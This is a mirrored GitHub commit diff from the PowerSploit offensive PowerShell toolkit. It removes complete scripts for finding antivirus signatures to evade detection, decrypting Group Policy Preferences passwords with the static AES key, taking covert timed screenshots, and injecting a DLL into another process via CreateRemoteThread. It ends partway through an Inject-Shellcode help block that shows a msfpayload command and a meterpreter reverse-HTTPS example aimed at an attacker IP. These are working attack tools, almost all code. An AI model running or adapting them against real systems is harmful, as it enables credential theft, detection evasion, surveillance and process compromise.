mirror of
https://github.com/PowerShellMafia/PowerSploit
synced 2026-06-08 12:13:33 +00:00
Moved scripts to their respective modules.
This commit is contained in:
@@ -1,118 +0,0 @@
|
||||
function Find-AVSignature {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Find-AVSignature
|
||||
|
||||
Locates single Byte AV signatures utilizing the same method as DSplit from "class101" on heapoverflow.com
|
||||
|
||||
Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
A script to locate tiny AV signatures.
|
||||
|
||||
.PARAMETER Startbyte
|
||||
|
||||
Specifies the first byte to begin splitting on.
|
||||
|
||||
.PARAMETER Endbyte
|
||||
|
||||
Specifies the last byte to split on.
|
||||
|
||||
.PARAMETER Interval
|
||||
|
||||
Specifies the interval size to split with.
|
||||
|
||||
.PARAMETER Path
|
||||
|
||||
Specifies the path to the binary you want tested.
|
||||
|
||||
.PARAMETER OutPath
|
||||
|
||||
Optionally specifies the directory to write the binaries to.
|
||||
|
||||
.PARAMETER Force
|
||||
|
||||
Forces the script to continue without confirmation.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe
|
||||
PS C:\> Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose
|
||||
PS C:\> Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose
|
||||
PS C:\> Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose
|
||||
PS C:\> Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose
|
||||
|
||||
.NOTES
|
||||
|
||||
Several of the versions of "DSplit.exe" available on the internet contain malware.
|
||||
|
||||
.LINK
|
||||
|
||||
http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html
|
||||
https://github.com/mattifestation/PowerSploit
|
||||
http://www.exploit-monday.com/
|
||||
http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2
|
||||
#>
|
||||
|
||||
[CmdletBinding()] Param(
|
||||
[Parameter(Mandatory = $True)] [Int32] $StartByte,
|
||||
[Parameter(Mandatory = $True)] [String] $EndByte,
|
||||
[Parameter(Mandatory = $True)] [Int32] $Interval,
|
||||
[Parameter(Mandatory = $False)] [String] $Path = ($pwd.path),
|
||||
[Parameter(Mandatory = $False)] [String] $OutPath = ($pwd),
|
||||
[Switch] $Force = $False
|
||||
)
|
||||
|
||||
#test variables
|
||||
if (!(Test-Path $Path)) {Throw "File path not found"}
|
||||
$Response = $True
|
||||
if (!(Test-Path $OutPath)) {}
|
||||
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue("The `"$OutPath`" does not exist! Do you want to create the directory?",""))){new-item ($OutPath)-type directory}
|
||||
if (!$Response) {Throw "Output path not found"}
|
||||
if (!(Get-ChildItem $Path).Exists) {Throw "File not found"}
|
||||
[Int32] $FileSize = (Get-ChildItem $Path).Length
|
||||
if ($StartByte -gt ($FileSize - 1) -or $StartByte -lt 0) {Throw "StartByte range must be between 0 and $Filesize"}
|
||||
[Int32] $MaximumByte = (($FileSize) - 1)
|
||||
if ($EndByte -ceq "max") {$EndByte = $MaximumByte}
|
||||
if ($EndByte -gt $FileSize -or $EndByte -lt 0) {Throw "EndByte range must be between 0 and $Filesize"}
|
||||
|
||||
#read in byte array
|
||||
[Byte[]] $FileByteArray = [System.IO.File]::ReadAllBytes($Path)
|
||||
|
||||
#find the filename for the output name
|
||||
[String] $FileName = (Split-Path $Path -leaf).Split('.')[0]
|
||||
|
||||
#Calculate the number of binaries
|
||||
[Int32] $ResultNumber = [Math]::Floor(($EndByte - $StartByte) / $Interval)
|
||||
if (((($EndByte - $StartByte) % $Interval)) -gt 0) {$ResultNumber = ($ResultNumber + 1)}
|
||||
|
||||
#Prompt user to verify parameters to avoid writing binaries to the wrong directory
|
||||
$Response = $True
|
||||
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue("This script will result in $ResultNumber binaries being written to `"$OutPath`"!",
|
||||
"Do you want to continue?"))){}
|
||||
if (!$Response) {Return}
|
||||
|
||||
Write-Verbose "This script will now write $ResultNumber binaries to `"$OutPath`"."
|
||||
[Int32] $Number = [Math]::Floor($Endbyte/$Interval)
|
||||
|
||||
#write out the calculated number of binaries
|
||||
[Int32] $i = 0
|
||||
for ($i -eq 0; $i -lt $ResultNumber; $i++)
|
||||
{
|
||||
[Int32] $SplitByte = (($StartByte) + (($Interval) * ($i)))
|
||||
Write-Verbose "Byte 0 -> $($SplitByte)"
|
||||
[IO.File]::WriteAllBytes((Join-Path $OutPath "$($FileName)_$($SplitByte).bin"), $FileByteArray[0..($SplitByte)])
|
||||
}
|
||||
|
||||
#Write out the final binary
|
||||
[IO.File]::WriteAllBytes((Join-Path $OutPath "$($FileName)_$($EndByte).bin"), $FileByteArray[0..($EndByte)])
|
||||
Write-Verbose "Byte 0 -> $($EndByte)"
|
||||
Write-Verbose "Files written to disk. Flushing memory."
|
||||
|
||||
#During testing using large binaries, memory usage was excessive so lets fix that
|
||||
[System.GC]::Collect()
|
||||
Write-Verbose "Completed!"
|
||||
}
|
||||
@@ -1,98 +0,0 @@
|
||||
function Get-GPPPassword {
|
||||
|
||||
<#
|
||||
.Synopsis
|
||||
|
||||
Get-GPPPassword retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
|
||||
Author: Chris Campbell (@obscuresec)
|
||||
License: BSD 3-Clause
|
||||
|
||||
.Description
|
||||
|
||||
Get-GPPPassword imports the encoded and encrypted password string from groups.xml and then decodes and decrypts the plaintext password.
|
||||
|
||||
.Parameter Path
|
||||
|
||||
The path to the targeted groups.xml file.
|
||||
|
||||
.Example
|
||||
|
||||
Get-GPPPassword -path c:\demo\groups.xml
|
||||
|
||||
.Link
|
||||
|
||||
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
||||
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
||||
#>
|
||||
|
||||
Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Path = "$PWD\groups.xml" )
|
||||
|
||||
#Function to pull encrypted password string from groups.xml
|
||||
function Parse-cPassword {
|
||||
|
||||
try {
|
||||
[xml] $Xml = Get-Content ($Path)
|
||||
[String] $Cpassword = $Xml.Groups.User.Properties.cpassword
|
||||
} catch { Write-Error "No Password Policy Found in File!" }
|
||||
|
||||
return $Cpassword
|
||||
}
|
||||
|
||||
#Function to look to see if the administrator account is given a newname
|
||||
function Parse-NewName {
|
||||
|
||||
[xml] $Xml = Get-Content ($Path)
|
||||
[String] $NewName = $Xml.Groups.User.Properties.newName
|
||||
|
||||
return $NewName
|
||||
}
|
||||
|
||||
#Function to parse out the Username whose password is being specified
|
||||
function Parse-UserName {
|
||||
|
||||
try {
|
||||
[xml] $Xml = Get-Content ($Path)
|
||||
[string] $UserName = $Xml.Groups.User.Properties.userName
|
||||
} catch { Write-Error "No Username Specified in File!" }
|
||||
|
||||
return $UserName
|
||||
}
|
||||
|
||||
#Function that decodes and decrypts password
|
||||
function Decrypt-Password {
|
||||
|
||||
try {
|
||||
#Append appropriate padding based on string length
|
||||
$Pad = "=" * (4 - ($Cpassword.length % 4))
|
||||
$Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)
|
||||
#Create a new AES .NET Crypto Object
|
||||
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
||||
#Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
|
||||
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
|
||||
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
|
||||
#Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value
|
||||
$AesIV = New-Object Byte[]($AesObject.IV.Length)
|
||||
$AesObject.IV = $AesIV
|
||||
$AesObject.Key = $AesKey
|
||||
$DecryptorObject = $AesObject.CreateDecryptor()
|
||||
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
|
||||
|
||||
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
|
||||
} catch { Write-Error "Decryption Failed!" }
|
||||
|
||||
}
|
||||
|
||||
$Cpassword = Parse-cPassword
|
||||
$Password = Decrypt-Password
|
||||
$NewName = Parse-NewName
|
||||
$UserName = Parse-UserName
|
||||
|
||||
$Results = New-Object System.Object
|
||||
|
||||
Add-Member -InputObject $Results -type NoteProperty -name UserName -value $UserName
|
||||
Add-Member -InputObject $Results -type NoteProperty -name NewName -value $NewName
|
||||
Add-Member -InputObject $Results -type NoteProperty -name Password -value $Password
|
||||
|
||||
return $Results
|
||||
|
||||
}
|
||||
@@ -1,99 +0,0 @@
|
||||
Function Get-TimedScreenshot {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Get-TimedScreenshot
|
||||
|
||||
Author: Chris Campbell (@obscuresec)
|
||||
License: BSD 3-Clause
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
A function that takes screenshots and saves them to a folder.
|
||||
|
||||
.PARAMETER $Path
|
||||
|
||||
Specifies the folder path.
|
||||
|
||||
.PARAMETER $Interval
|
||||
|
||||
Specifies the interval in seconds between taking screenshots.
|
||||
|
||||
.PARAMETER $EndTime
|
||||
|
||||
Specifies when the script should stop running in the format HH-MM
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00
|
||||
|
||||
.LINK
|
||||
|
||||
http://obscuresecurity.blogspot.com/2013/01/Get-TimedScreenshot.html
|
||||
https://github.com/obscuresec/random/blob/master/Get-TimedScreenshot
|
||||
|
||||
#>
|
||||
|
||||
[CmdletBinding()] Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[ValidateScript({Test-Path -Path $_ })]
|
||||
[string] $Path,
|
||||
|
||||
[Parameter(Mandatory=$True)]
|
||||
[int32] $Interval,
|
||||
|
||||
[Parameter(Mandatory=$True)]
|
||||
[string] $EndTime
|
||||
)
|
||||
|
||||
#Define helper function that generates and saves screenshot
|
||||
Function GenScreenshot {
|
||||
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
|
||||
$ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
|
||||
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
|
||||
$DrawingGraphics.CopyFromScreen( $ScreenBounds.Location, [Drawing.Point]::Empty, $ScreenBounds.Size)
|
||||
$DrawingGraphics.Dispose()
|
||||
$ScreenshotObject.Save($FilePath)
|
||||
$ScreenshotObject.Dispose()
|
||||
}
|
||||
|
||||
Try {
|
||||
|
||||
#load required assembly
|
||||
Add-Type -Assembly System.Windows.Forms
|
||||
|
||||
Do {
|
||||
#get the current time and build the filename from it
|
||||
$Time = (Get-Date)
|
||||
|
||||
[string] $FileName = "$($Time.Month)"
|
||||
$FileName += '-'
|
||||
$FileName += "$($Time.Day)"
|
||||
$FileName += '-'
|
||||
$FileName += "$($Time.Year)"
|
||||
$FileName += '-'
|
||||
$FileName += "$($Time.Hour)"
|
||||
$FileName += '-'
|
||||
$FileName += "$($Time.Minute)"
|
||||
$FileName += '-'
|
||||
$FileName += "$($Time.Second)"
|
||||
$FileName += '.png'
|
||||
|
||||
#use join-path to add path to filename
|
||||
[string] $FilePath = (Join-Path $Path $FileName)
|
||||
|
||||
#run screenshot function
|
||||
GenScreenshot
|
||||
|
||||
Write-Verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds"
|
||||
|
||||
Start-Sleep -Seconds $Interval
|
||||
}
|
||||
|
||||
#note that this will run once regardless if the specified time as passed
|
||||
While ((Get-Date -Format HH:%m) -lt $EndTime)
|
||||
}
|
||||
|
||||
Catch {Write-Warning "$Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage"}
|
||||
|
||||
}
|
||||
-326
@@ -1,326 +0,0 @@
|
||||
function Inject-Dll {
|
||||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
PowerSploit Module - Inject-Dll
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Inject-Dll injects a Dll into the process ID of your choosing.
|
||||
|
||||
.PARAMETER ProcessID
|
||||
|
||||
Process ID of the process you want to inject a Dll into.
|
||||
|
||||
.PARAMETER Dll
|
||||
|
||||
Name of the dll to inject. This can be an absolute or relative path.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Inject-DLL -ProcessID 4274 -Dll evil.dll
|
||||
|
||||
Description
|
||||
-----------
|
||||
Inject 'evil.dll' into process ID 4274.
|
||||
|
||||
.NOTES
|
||||
|
||||
Use the '-Verbose' option to print detailed information.
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.exploit-monday.com
|
||||
#>
|
||||
|
||||
Param (
|
||||
[Parameter( Position = 0,
|
||||
Mandatory = $True )]
|
||||
[Int]
|
||||
$ProcessID,
|
||||
|
||||
[Parameter( Position = 1,
|
||||
Mandatory = $True )]
|
||||
[String]
|
||||
$Dll
|
||||
)
|
||||
|
||||
# Confirm that the process you want to inject into exists
|
||||
try
|
||||
{
|
||||
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
|
||||
}
|
||||
catch [System.Management.Automation.ActionPreferenceStopException]
|
||||
{
|
||||
Throw "Process does not exist!"
|
||||
}
|
||||
|
||||
# Confirm that the path to the dll exists
|
||||
try
|
||||
{
|
||||
$Dll = (Resolve-Path $Dll -ErrorAction Stop).Path
|
||||
Write-Verbose "Full path to Dll: $Dll"
|
||||
$AsciiEncoder = New-Object System.Text.ASCIIEncoding
|
||||
# Save the name of the dll in an ascii-encoded format. This name will be injected into the remote process.
|
||||
$DllByteArray = $AsciiEncoder.GetBytes($Dll)
|
||||
}
|
||||
catch [System.Management.Automation.ActionPreferenceStopException]
|
||||
{
|
||||
Throw "Invalid Dll path!"
|
||||
}
|
||||
|
||||
function Local:Get-DelegateType
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([Type])]
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void]
|
||||
)
|
||||
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
Write-Output $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
function Local:Get-ProcAddress
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([IntPtr])]
|
||||
|
||||
[Parameter( Position = 0, Mandatory = $True )]
|
||||
[String]
|
||||
$Module,
|
||||
|
||||
[Parameter( Position = 1, Mandatory = $True )]
|
||||
[String]
|
||||
$Procedure
|
||||
)
|
||||
|
||||
# Get a reference to System.dll in the GAC
|
||||
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
||||
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
||||
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||||
# Get a reference to the GetModuleHandle and GetProcAddress methods
|
||||
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
||||
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
||||
# Get a handle to the module specified
|
||||
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||
$tmpPtr = New-Object IntPtr
|
||||
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||
|
||||
# Return the address of the function
|
||||
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||
}
|
||||
|
||||
function Local:Get-PEArchitecture
|
||||
{
|
||||
Param
|
||||
(
|
||||
[Parameter( Position = 0,
|
||||
Mandatory = $True )]
|
||||
[String]
|
||||
$Path
|
||||
)
|
||||
|
||||
# Parse PE header to see if binary was compiled 32 or 64-bit
|
||||
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
|
||||
|
||||
[Byte[]] $MZHeader = New-Object Byte[](2)
|
||||
$FileStream.Read($MZHeader,0,2) | Out-Null
|
||||
|
||||
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
|
||||
if ($Header -ne 'MZ')
|
||||
{
|
||||
$FileStream.Close()
|
||||
Throw 'Invalid PE header.'
|
||||
}
|
||||
|
||||
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
|
||||
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
|
||||
|
||||
[Byte[]] $lfanew = New-Object Byte[](4)
|
||||
|
||||
# Read offset to the PE Header (will be read in reverse)
|
||||
$FileStream.Read($lfanew,0,4) | Out-Null
|
||||
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
|
||||
|
||||
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
|
||||
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
|
||||
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
|
||||
|
||||
# Read compiled architecture
|
||||
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
|
||||
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
|
||||
$FileStream.Close()
|
||||
|
||||
if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
|
||||
{
|
||||
Throw 'Invalid PE header or unsupported architecture.'
|
||||
}
|
||||
|
||||
if ($Architecture -eq '014C')
|
||||
{
|
||||
Write-Output 'X86'
|
||||
}
|
||||
elseif ($Architecture -eq '8664')
|
||||
{
|
||||
Write-Output 'X64'
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Output 'OTHER'
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Get addresses of and declare delegates for essential Win32 functions.
|
||||
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
|
||||
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
|
||||
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
|
||||
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
|
||||
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
|
||||
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
|
||||
$VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
|
||||
$VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32]) ([Bool])
|
||||
$VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
|
||||
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
|
||||
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
|
||||
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
|
||||
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
|
||||
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
|
||||
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
|
||||
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
|
||||
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
|
||||
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
|
||||
|
||||
# Assume CPU to be 64-bit unless determined otherwise.
|
||||
$64bitCPU = $True
|
||||
|
||||
# Determine the bitness of the running PowerShell process based upon the size of the IntPtr type.
|
||||
if ([IntPtr]::Size -eq 4)
|
||||
{
|
||||
$PowerShell32bit = $True
|
||||
}
|
||||
else
|
||||
{
|
||||
$PowerShell32bit = $False
|
||||
}
|
||||
|
||||
# The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
|
||||
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
|
||||
|
||||
if ($IsWow64ProcessAddr)
|
||||
{
|
||||
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
|
||||
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
|
||||
}
|
||||
else
|
||||
{
|
||||
# IsWow64Process does not exist and thus, the CPU is not 64-bit.
|
||||
$64bitCPU = $False
|
||||
}
|
||||
|
||||
# Open a handle to the process you want to inject into
|
||||
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
|
||||
|
||||
if (!$hProcess)
|
||||
{
|
||||
THrow 'Unable to open process handle.'
|
||||
}
|
||||
|
||||
$Architecture = Get-PEArchitecture $Dll
|
||||
|
||||
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
|
||||
{
|
||||
if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') )
|
||||
{
|
||||
Throw 'Only x86 or AMD64 architechtures supported.'
|
||||
}
|
||||
|
||||
# Determine is the process specified is 32 or 64 bit. Assume that it is 64-bit unless determined otherwise.
|
||||
$IsWow64 = $False
|
||||
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
|
||||
|
||||
if ( $PowerShell32bit -and ($Architecture -eq 'X64') )
|
||||
{
|
||||
Throw 'You cannot manipulate 64-bit code within 32-bit PowerShell. Open the 64-bit version and try again.'
|
||||
}
|
||||
|
||||
if ( (!$IsWow64) -and ($Architecture -eq 'X86') )
|
||||
{
|
||||
Throw 'You cannot inject a 32-bit DLL into a 64-bit process.'
|
||||
}
|
||||
|
||||
if ( $IsWow64 -and ($Architecture -eq 'X64') )
|
||||
{
|
||||
Throw 'You cannot inject a 64-bit DLL into a 32-bit process.'
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if ($Architecture -ne 'X86')
|
||||
{
|
||||
Throw 'PE file was not compiled for x86.'
|
||||
}
|
||||
}
|
||||
|
||||
# Get address of LoadLibraryA function
|
||||
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
|
||||
Write-Verbose "LoadLibrary address: 0x$($LoadLibraryAddr.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Reserve and commit memory to hold name of dll
|
||||
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW)
|
||||
if ($RemoteMemAddr -eq [IntPtr]::Zero)
|
||||
{
|
||||
Throw 'Unable to allocate memory in remote process.'
|
||||
}
|
||||
Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Write the name of the dll to the remote process address space
|
||||
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $DllByteArray, $Dll.Length, [Ref] 0) | Out-Null
|
||||
Write-Verbose "Dll path written sucessfully."
|
||||
|
||||
# Execute dll as a remote thread
|
||||
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
|
||||
if (!$ThreadHandle)
|
||||
{
|
||||
Throw 'Unable to launch remote thread.'
|
||||
}
|
||||
|
||||
$VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
|
||||
|
||||
# Close process handle
|
||||
$CloseHandle.Invoke($hProcess) | Out-Null
|
||||
|
||||
Write-Verbose 'Dll injection complete!'
|
||||
|
||||
# Extract just the filename from the provided path to the dll.
|
||||
$FileName = Split-Path $Dll -Leaf
|
||||
$DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } | fl * | Out-String
|
||||
|
||||
if (!$DllInfo)
|
||||
{
|
||||
Throw "Dll did dot inject properly into the victim process."
|
||||
}
|
||||
|
||||
Write-Verbose "Injected DLL information:$($DllInfo)"
|
||||
}
|
||||
@@ -1,713 +0,0 @@
|
||||
function Inject-Shellcode
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
|
||||
|
||||
PowerSploit Module - Inject-Shellcode
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
|
||||
|
||||
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
|
||||
|
||||
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
|
||||
|
||||
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
|
||||
|
||||
.PARAMETER ProcessID
|
||||
|
||||
Process ID of the process you want to inject shellcode into.
|
||||
|
||||
.PARAMETER Shellcode
|
||||
|
||||
Specifies an optional shellcode passed in as a byte array
|
||||
|
||||
.PARAMETER ListMetasploitPayloads
|
||||
|
||||
Lists all of the available Metasploit payloads that Inject-Shellcode supports
|
||||
|
||||
.PARAMETER Lhost
|
||||
|
||||
Specifies the IP address of the attack machine waiting to receive the reverse shell
|
||||
|
||||
.PARAMETER Lport
|
||||
|
||||
Specifies the port of the attack machine waiting to receive the reverse shell
|
||||
|
||||
.PARAMETER Payload
|
||||
|
||||
Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported.
|
||||
|
||||
.PARAMETER UserAgent
|
||||
|
||||
Optionally specifies the user agent to use when using meterpreter http or https payloads
|
||||
|
||||
.PARAMETER Force
|
||||
|
||||
Injects shellcode without prompting for confirmation. By default, Inject-Shellcode prompts for confirmation before performing any malicious act.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Inject-Shellcode -ProcessId 4274
|
||||
|
||||
Description
|
||||
-----------
|
||||
Inject shellcode into process ID 4274.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Inject-Shellcode
|
||||
|
||||
Description
|
||||
-----------
|
||||
Inject shellcode into the running instance of PowerShell.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden
|
||||
C:\PS> $Proc = Get-Process notepad
|
||||
C:\PS> Inject-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose
|
||||
|
||||
VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM
|
||||
VERBOSE: Injecting shellcode into PID: 4004
|
||||
VERBOSE: Injecting into a Wow64 process.
|
||||
VERBOSE: Using 32-bit shellcode.
|
||||
VERBOSE: Shellcode memory reserved at 0x03BE0000
|
||||
